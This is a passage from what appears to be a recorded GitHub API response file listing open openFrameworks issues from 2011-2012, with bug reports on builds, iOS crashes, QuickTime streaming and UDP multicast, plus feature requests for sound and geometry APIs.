float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if 